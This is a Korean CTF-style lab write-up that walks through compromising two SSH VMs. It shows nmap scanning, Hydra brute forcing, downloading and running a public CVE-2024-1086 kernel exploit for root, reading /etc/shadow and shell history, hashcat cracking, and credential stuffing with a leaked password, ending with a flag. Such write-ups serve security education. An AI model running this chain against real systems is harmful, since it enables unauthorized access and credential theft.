Privilege Escalation
- 2개의 VM인 CJU, Goal이 있다. 모두 OpenSSH 서버가 동작 중이며, 같은 네트워크에 있다
- 다음 과정을 보이는 기술 블로그 포스트를 작성하시오. (1, 3, 5는 필수로 포함되어야 함)
- CJU VM에 침투
- Privilege Escalation하기 위한 Discovery
- CVE-2024-1086를 이용하여 root 사용자로 Privilege Escalation
- CJU VM에서 Goal VM으로 Lateral Movement하기 위한 Discovery (Discovery는 CJU VM에서 수행)
- CJU VM에서 Goal VM으로 Lateral Movement (Lateral Movement는 CJU VM ⇒ Goal VM)
힌트
- 최초 침투 시 VM 이름이 힌트입니다.
-
- 사회공학적 기법
- 숨겨진 역사
위협 시나리오
- CJU와 Goal 모두 SSH 서버 동작
- CJU의 커널 버전이 CVE-2024-1086를 이용하기에 적합
- kali와 CJU, Goal이 모두 같은 네트워크에 위치
1. CJU VM에 침투
- 최초 침투 시 VM 이름이 힌트 => 사용자 아이디는 cju일 것으로 예상
1.1. nmap을 활용해 현재 네트워크의 VM IP 확인
$ nmap 10.0.11.3-255
...
Nmap scan report for 10.0.11.100
Nmap scan report for 10.0.11.101
이것만 봐서는 무엇이 CJU의 ip인지 알 수 없다.
1.2. Hydra를 사용해 cju의 password 크랙
- 두 개의 IP 중 CJU를 특정할 수 없음.
- 따라서 두 IP에 동시에 hydra를 사용
$ cat > ip_list
10.0.11.100
10.0.11.101
(Ctrl + d)
$ hydra -l cju -P /usr/share/wordlists/john.lst -M ip_list ssh
...
[22][ssh] host: 10.0.11.100 login: cju password: 1111
1.3. SSH 접속
$ ssh cju@10.0.11.100
cju@10.0.11.100's password: (1111)
...
localhost:~$
2. Privilege Escalation하기 위한 Discovery
2.1. 커널 버전 정보 확인
$ uname -a
Linux localhost 5.15.140-0-virt #1-Alpine SMP Wed, 29 Nov 2023 21:47:33 +0000 x86_64 Linux
2.2. 파일 탐색
- 홈 디렉토리의 파일을 확인
$ ls -la
...
-rw------- 1 cju cju 34 Oct 24 20:36 .ash_history
$ cat .ash_history
...
- 쓸모있는 정보는 없음
3. CVE-2024-1086를 이용하여 root 사용자로 Privilege Escalation
3.1. CVE-2024-1086 검색
- https://nvd.nist.gov/vuln/detail/CVE-2024-1086
- 커널 소스코드의 net/netfilter/nf_tables_api.c에 정의된 nft_verdict_init 함수와 net/netfilter/core.c에 정의된 nf_hook_slow 함수에서 문제가 된 것 같다.
- 2024년 1월 24일에 커밋된 f342de4e2f33e0e39165d8639387aa6c19dff660 에서 해결되었다고 한다.
- CJU의 커널 버전 5.15.140의 Release Date를 확인
- https://cdn.kernel.org/pub/linux/kernel/v5.x/
- ChangeLog-5.15.140 -> 28-Nov-2023 17:09
- CVE-2024-1086을 사용할 수 있을 것으로 예상
3.2. CVE-2024-1086을 구현한 Github 탐색
- Release가 있어 빌드할 필요가 없을 것 같다.
3.3. exploit 파일 전송
- exploit 파일을 CJU로 전송하는 방법은 여러가지가 있다.
- scp, wget,
curl(CJU에는 curl이 없었다.) 등.. - 하지만 scp와 wget이 불가능할 경우 ssh만으로 파일을 전송할 수 있다.
- scp, wget,
- 이를 위해 kali에서 터미널을 실행해 exploit을 다운로드한다.
$ wget https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit
...
$ ls -la exploit
-rw-r--r-- 1 root root 169360 Mar 24 2024 exploit
- 이제 ssh와 pipe('|')를 사용하여 파일을 전송한다.
$ cat exploit | ssh cju@10.0.11.100 "cat > /home/cju/exploit"
cju@10.0.11.100's password: (1111)
...
- 전송이 완료되면 sha256sum을 사용하여 exploit의 해시값을 확인하고 복사한다.
$ sha256sum exploit
d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77 exploit
- 해시값을 저장한 후 CJU ssh 쉘에 돌아가 파일을 확인한다.
$ ls -la exploit
-rw-r--r-- 1 cju cju 169360 Oct 24 21:44 exploit
- sha256sum과 diff를 사용하여 파일의 무결성을 확인한다.
- 파일이 정상적으로 전송되었다.
3.4. Exploit
- 실행 권한 부여 후 exploit을 실행한다.
$ chmod 700 exploit
$ ./exploit
...
/ #
- 루트 권한을 얻었다.
4. CJU VM에서 Goal VM으로 Lateral Movement하기 위한 Discovery
4.1. 파일 탐색
- ls -la를 비롯한 여러 방법으로 파일 검색
/ # ls -la
...
/ # ls -la /root
...
.ash_history
.ssh
/ # cat /etc/shadow | head -n 1
root:$6$0aXoF/I2.6i.esMB$nfceOW142UU3ATjnkP.ZByP2HXfcUWPGdAUvGGK17DJHWBKi.k0XzzpZwVKml3F.pu7enuUbu
kNNhEnBJDIFM/:20006:0:::::
/ # cat /root/.ash_history
ssh proxynova@192.168.102.133
...
- Goal의 사용자 아이디 == "proxynova"
4.2. 암호 크랙
- proxynova의 암호를 알아내기 위해 다양한 방법을 수행
- hydra를 사용
- hashcat으로 CJU의 root 패스워드 크랙
- CJU의 root 패스워드와 proxynova의 패스워드가 같을 가능성 존재
- Credential Stuffing
- 유출 패스워드 탐색
4.2.1. Hydra
$ hydra -l proxynova -P /usr/share/wordlists/john.lst ssh://10.0.11.101
...
4.2.2. hashcat
$ echo root:$6$0aXoF/I2.6i.esMB$nfceOW142UU3ATjnkP.ZByP2HXfcUWPGdAUvGGK17DJHWBKi.k0XzzpZwVKml3F.pu7enuUbu
kNNhEnBJDIFM/:20006:0::::: > shadow
$ hashcat --force -O -w 4 --opencl-device-types 1,2 shadow /usr/share/wordlists/rockyou.txt.gz
...
4.2.3. Credential Stuffing
- 인터넷으로 "proxynova password leak" 검색
- proxynova의 leaked password 검색
- 패스워드 대입
$ hydra -l proxynova -p d9vrzkeb ssh://10.0.11.101
...
[22][ssh] host: 10.0.11.101 login: proxynova password: d9vrzkeb
- 패스워드 == "d9vrzkeb"
5. CJU VM에서 Goal VM으로 Lateral Movement
$ ssh proxynova@10.0.11.101
proxynova@10.0.11.101's password: (d9vrzkeb)
...
localhost:~$
$ ls -la
...
-rw-r--r-- 1 proxynov proxynov 33 Oct 10 23:52 flag.txt
$ cat flag.txt
SysSec{Welcome_to_Wooam_Dungeon}
결론
flag == "SysSec{Welcome_to_Wooam_Dungeon}"
User | Password |
---|---|
cju | 1111 |
proxynova | d9vrzkeb |
- 서버의 커널 버전을 높게 유지
- shell의 history 기능 제거
$ unset HISTFILE